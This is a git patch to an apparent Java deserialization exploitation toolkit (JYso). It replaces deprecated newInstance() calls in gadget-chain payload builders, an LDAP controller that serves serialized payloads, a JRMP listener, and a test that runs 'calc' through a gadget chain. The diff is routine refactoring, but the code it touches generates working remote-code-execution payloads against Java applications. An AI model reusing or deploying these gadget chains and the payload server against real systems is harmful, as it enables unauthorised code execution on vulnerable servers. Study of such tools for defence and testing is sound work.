From c7c4f6aee6778583b1643488aac2e856b8df8ffa Mon Sep 17 00:00:00 2001 From: qi4l Date: Fri, 1 May 2026 20:44:54 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E8=BF=87=E6=97=B6?= =?UTF-8?q?=E7=9A=84API=E4=BD=BF=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../qi4l/JYso/controllers/SerializedDataController.java | 6 +++--- src/main/java/com/qi4l/JYso/exploit/JRMPListener.java | 2 +- src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java | 2 +- src/main/java/com/qi4l/JYso/gadgets/Jackson3.java | 8 ++++---- src/main/java/com/qi4l/JYso/gadgets/SignedObject.java | 2 +- .../com/qi4l/JYso/gadgets/annotation/Dependencies.java | 4 ++-- src/main/java/com/qi4l/JYso/gadgets/cb160.java | 2 +- .../java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java | 2 +- .../java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java | 4 ++-- src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java | 6 +++--- .../java/com/qi4l/JYso/template/ClassLoaderTemplate.java | 2 +- src/test/java/com/example/demo/demos/web/Test.java | 2 +- 12 files changed, 21 insertions(+), 21 deletions(-) diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java index 53e04eb..0d3b24a 100644 --- a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java +++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java @@ -37,7 +37,7 @@ public class SerializedDataController implements LdapController { try { final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); - ObjectPayload payload = payloadClass.newInstance(); + ObjectPayload payload = payloadClass.getDeclaredConstructor().newInstance(); Object object = payload.getObject(params); if (SerializedDataController.gadgetType.equals("JRE8u20")) { @@ -51,9 +51,9 @@ public class SerializedDataController implements LdapController { e.addAttribute("javaSerializedData", bytes); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } catch (Throwable er) { + } catch (Exception er) { System.err.println("Error while generating or serializing payload"); - log.error(String.valueOf(er)); + log.error("Error while generating or serializing payload", er); } } diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java index 865ec1f..2e0c705 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -95,7 +95,7 @@ public class JRMPListener implements Runnable { cp.insertClassPath(new ClassClassPath(Dummy.class)); CtClass clazz = cp.get(Dummy.class.getName()); clazz.setName(className); - return clazz.toClass(isolation).newInstance(); + return clazz.toClass(isolation).getDeclaredConstructor().newInstance(); } catch (Exception e) { log.error("e: ", e); return new byte[0]; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java index 898656c..bf4f39d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java @@ -39,7 +39,7 @@ public class Hibernate3JDBC implements ObjectPayload, DynamicDependencie Class clazz = driverconimpl.toClass(); - Object o1 = clazz.newInstance(); + Object o1 = clazz.getDeclaredConstructor().newInstance(); HashMap map1 = new HashMap<>(); map1.put("hibernate.connection.url", command); map1.put("hibernate.connection.pool_size", "0"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index aa43d28..15aa003 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -39,7 +39,7 @@ public class Jackson3 implements ObjectPayload { Object ctFactory = ctDefaultAdvisorChainFactory.toClass( new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); + ).getDeclaredConstructor().newInstance(); advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); @@ -69,7 +69,7 @@ public class Jackson3 implements ObjectPayload { public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception { Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject); Class advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName); - Object advisedSupport = advisedSupportClazz.newInstance(); + Object advisedSupport = advisedSupportClazz.getDeclaredConstructor().newInstance(); advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource); Constructor constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz); constructor.setAccessible(true); @@ -86,7 +86,7 @@ public class Jackson3 implements ObjectPayload { "private static final long serialVersionUID = -" + sUID1 + "L;"); Object list = ctEventListenerList.toClass( new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); + ).getDeclaredConstructor().newInstance(); //>=6.1.0 为-1045223116463488483 //<=6.0.23为-2077529998244066750 @@ -96,7 +96,7 @@ public class Jackson3 implements ObjectPayload { "private static final long serialVersionUID = -" + sUID2 + "L;"); Object undomanager = ctUndoManager.toClass( new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); + ).getDeclaredConstructor().newInstance(); //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。 Vector vector = (Vector) getFieldValue(undomanager, "edits"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java index b89dc85..8b2095c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java @@ -97,7 +97,7 @@ public class SignedObject implements ObjectPayload { String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); - ObjectPayload payload = payloadClass.newInstance(); + ObjectPayload payload = payloadClass.getDeclaredConstructor().newInstance(); Object object = payload.getObject(realCmd); if (args.length >= 3) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java index 94641a4..618338d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java @@ -16,7 +16,7 @@ public @interface Dependencies { String[] value() default {}; - public static class Utils { + class Utils { public static String[] getDependencies(AnnotatedElement annotated) { Dependencies deps = annotated.getAnnotation(Dependencies.class); @@ -24,7 +24,7 @@ public @interface Dependencies { return deps.value(); } else { try { - Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); + Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); Method m = name.getDeclaredMethod("getDependencies"); m.setAccessible(true); return (String[]) m.invoke(null); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb160.java b/src/main/java/com/qi4l/JYso/gadgets/cb160.java index 2dfae9a..69dbbb2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb160.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb160.java @@ -28,7 +28,7 @@ public class cb160 implements ObjectPayload { public static Object getCbSink_1(CtClass ctClass, Object template) throws Exception { Class beanCompareClazz = ctClass.toClass(); - BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.getDeclaredConstructor().newInstance(); final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java index 75c8748..1efc363 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java @@ -45,7 +45,7 @@ public class cb_AttrCompare183 implements ObjectPayload { ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); final Comparator beanComparator = (Comparator) ctBeanComparator.toClass( new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ).newInstance(); + ).getDeclaredConstructor().newInstance(); ctBeanComparator.defrost(); return beanComparator; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java index c29c802..7a87f96 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java @@ -41,7 +41,7 @@ public class TemplatesUtil { public static T createTemplatesImpl(final String[] args, Class tplClass, Class abstTranslet, Class transFactory) throws Exception { - final T templates = tplClass.newInstance(); + final T templates = tplClass.getDeclaredConstructor().newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); @@ -81,7 +81,7 @@ public class TemplatesUtil { // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + Reflections.setFieldValue(templates, "_tfactory", transFactory.getDeclaredConstructor().newInstance()); return templates; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java index 443860f..457d66a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -98,7 +98,7 @@ public class Utils { } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); + Object decoder = base64.getDeclaredConstructor().newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception ignored) { } @@ -123,7 +123,7 @@ public class Utils { Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); try { - clazz.newInstance(); + clazz.getDeclaredConstructor().newInstance(); } catch (Exception ignored) { Class unsafe = Class.forName("sun.misc.Unsafe"); Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); @@ -214,7 +214,7 @@ public class Utils { } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); + Object Encoder = base64.getDeclaredConstructor().newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception ignored) { } diff --git a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java index 61a5bd8..580ecc0 100644 --- a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java @@ -72,7 +72,7 @@ public class ClassLoaderTemplate { } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); + Object decoder = base64.getDeclaredConstructor().newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } catch (Exception ignored) { } diff --git a/src/test/java/com/example/demo/demos/web/Test.java b/src/test/java/com/example/demo/demos/web/Test.java index 71c003e..fc6cb76 100644 --- a/src/test/java/com/example/demo/demos/web/Test.java +++ b/src/test/java/com/example/demo/demos/web/Test.java @@ -9,7 +9,7 @@ import java.util.Base64; public class Test { public static void main(String[] args) throws Exception { final Class payloadClass = ObjectPayload.Utils.getPayloadClass("cck3"); - ObjectPayload payload = payloadClass.newInstance(); + ObjectPayload payload = payloadClass.getDeclaredConstructor().newInstance(); Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz secCig rootObj = new secCig();